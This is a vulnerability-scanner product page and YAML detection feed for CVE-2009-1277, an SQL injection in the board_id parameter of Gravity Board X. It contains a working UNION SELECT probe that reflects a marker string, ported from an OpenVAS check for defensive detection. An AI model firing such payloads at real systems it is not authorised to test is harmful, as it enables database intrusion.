Gravity Board X — 1 vulnerability check

noctis ships 1 vulnerability check for Gravity Board X, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Gravity Board X Multiple SQL Injection (board_id viewboard parameter)

CVECVE-2009-1277
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/gravityboardx/CVE-2009-1277.yaml

Detects CVE-2009-1277 by sending a UNION SELECT payload to the viewboard action and confirming the reflected SQL-Injection-Test marker in the HTTP response.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?action=viewboard&board_id=-1%27+union+select+0,0x53514c2d496e6a656374696f6…
  2. Checks resp.banner for SQL-Injection-Test → finding QoD 75: Gravity Board X SQLi confirmed — UNION SELECT payload on board_id reflected the SQL-Injection-Test marker at …:…

References:

Feed source — tests/vulnerabilities/gravityboardx/CVE-2009-1277.yaml
# Gravity Board X — Multiple SQL Injection (CVE-2009-1277)
#
# Gravity Board X fails to sanitize the `board_id` parameter of the
# viewboard action before using it in an SQL query. An unauthenticated
# attacker injects a UNION SELECT that reflects a marker string drawn from
# the gbx_members table, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2009/gravity_board_x_34370.nasl
# (GPL-2.0-only). Payload/marker preserved faithfully from the source plugin.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the reflected marker is matched on resp.banner.
#
# The NASL resolves the install dir via CPE detection; this feed probes the
# web root (/index.php) only, which covers the default install layout.
uid: 2b101d85-15cd-4abb-88f0-835de89407df
name: "Gravity Board X Multiple SQL Injection (board_id viewboard parameter)"
description: |
  Detects CVE-2009-1277 by sending a UNION SELECT payload to the viewboard action and
  confirming the reflected SQL-Injection-Test marker in the HTTP response.
cves: [CVE-2009-1277]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [gravityboardx, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1277"
  - "OpenVAS/Greenbone NASL 2009/gravity_board_x_34370.nasl (GPL-2.0-only)"

steps:
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?action=viewboard&board_id=-1%27+union+select+0,0x53514c2d496e6a656374696f6e2d54657374,2+from+gbx_members+where+1=%271 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Gravity Board X SQLi confirmed — UNION SELECT payload on board_id reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}"

View these feeds on GitHub